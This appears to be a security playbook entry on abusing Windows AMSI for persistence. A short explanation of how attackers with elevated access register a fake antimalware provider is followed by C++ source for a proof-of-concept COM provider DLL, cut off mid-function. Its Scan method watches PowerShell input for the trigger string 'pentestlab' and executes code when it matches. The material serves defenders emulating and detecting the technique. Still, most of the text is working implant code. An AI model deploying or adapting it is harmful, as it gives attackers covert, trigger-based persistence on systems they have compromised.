- What: Threat actors can abuse AMSI to establish persistence on Windows systems
- Impact: Systems with elevated permissions are at risk
The Antimalware Scan Interface (AMSI) is a Microsoft control that directs PowerShell content to the installed antimalware engine or EDR to conduct a scan and identify malicious indicators. However, for functionality purposes Microsoft permits third-party applications to register AMSI providers with the operating system in order to communicate with the interface. Threat actors with elevated permissions on the asset could abuse this behaviour and register a fake AMSI provider to establish persistence. Specifically, when the arbitrary AMSI is registered, an action is performed such as execution of code or executable when a defined string is inserted into a PowerShell console. Playbook The Antimalware Scan Interface (AMSI) is a Windows security interface that enables applications to submit potentially risky content to an installed antimalware engine before the content is executed. AMSI was introduced to enable security products use this engine to scan scripts or content. For example, when a command is executed via PowerShell, the content is passed to AMSI which then forwards to the registered antimalware provider and returns a result such as clean, suspicious, or malicious. AMSI was designed by Microsoft as a vendor-agnostic interface which can communicate with the endpoint in order to prevent the execution of malware. Threat actors could abuse AMSI by registering a provider for persistence if elevated access has been achieved. Microsoft has disclosed to the public, the code for implementing a sample AMSI provider and an article was released that explained the technique. The full proof of concept of abusing arbitrary AMSI providers for persistence can be found in the AMSI-Provider repository. The code below can be used to emulate the technique. Initially, when PowerShell submits content for scanning, AMSI calls the fake provider Scan() method. The provider checks the trigger strings and upon matching a function is executed. #include "stdafx.h" #include <process.h> #include <subauth.h> #include <strsafe.h> #include <amsi.h> #include <windows.h> #include <wrl/module.h> using namespace Microsoft::WRL; HMODULE g_currentModule; typedef void (NTAPI* _RtlInitUnicodeString)( PUNICODE_STRING DestinationString, PCWSTR SourceString ); typedef NTSYSAPI BOOLEAN(NTAPI* _RtlEqualUnicodeString)( PUNICODE_STRING String1, PUNICODE_STRING String2, BOOLEAN CaseInsetive ); DWORD WINAPI MyThreadFunction(LPVOID lpParam); void ErrorHandler(LPTSTR lpszFunction); BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: g_currentModule = module; DisableThreadLibraryCalls(module); Module<InProc>::GetModule().Create(); break; case DLL_PROCESS_DETACH: Module<InProc>::GetModule().Terminate(); break; } return TRUE; } #pragma region COM server boilerplate HRESULT WINAPI DllCanUnloadNow() { return Module<InProc>::GetModule().Terminate() ? S_OK : S_FALSE; } STDAPI DllGetClassObject(_In_ REFCLSID rclsid, _In_ REFIID riid, _Outptr_ LPVOID FAR* ppv) { return Module<InProc>::GetModule().GetClassObject(rclsid, riid, ppv); } #pragma endregion class DECLSPEC_UUID("2E5D8A62-77F9-4F7B-A90C-2744820139B2") PentestlabAmsiProvider : public RuntimeClass<RuntimeClassFlags<ClassicCom>, IAntimalwareProvider, FtmBase> { public: IFACEMETHOD(Scan)(_In_ IAmsiStream * stream, _Out_ AMSI_RESULT * result) override; IFACEMETHOD_(void, CloseSession)(_In_ ULONGLONG session) override; IFACEMETHOD(DisplayName)(_Outptr_ LPWSTR * displayName) override; private: LONG m_requestNumber = 0; }; HRESULT PentestlabAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result) { _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); _RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString"); UNICODE_STRING myTriggerString1; RtlInitUnicodeString(&myTriggerString1, L"pentestlab"); UNICODE_STRING myTriggerString2; RtlInitUnicodeString(&myTriggerString2, L"\"pentestlab\""); UNICODE_STRING myTriggerString3; RtlInitUnicodeString(&myTriggerString3, L"'pentestlab'"); ULONG actualSize; ULONGLONG contentSize; if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) && actualSize == sizeof(ULONGLONG)) { *result = AMSI_RESULT_NOT_DETECTED; return S_OK; } PBYTE contentAddress; if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) && actualSize == sizeof(PBYTE)) { *result = AMSI_RESULT_NOT_DETECTED; return S_OK; } if (contentAddress) { if (contentSize < 50) { UNICODE_STRING myuni; myuni.Buffer = (PWSTR)contentAddress; myuni.Length = (USHORT)contentSize; myuni.MaximumLength = (USHORT)contentSize; if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TR...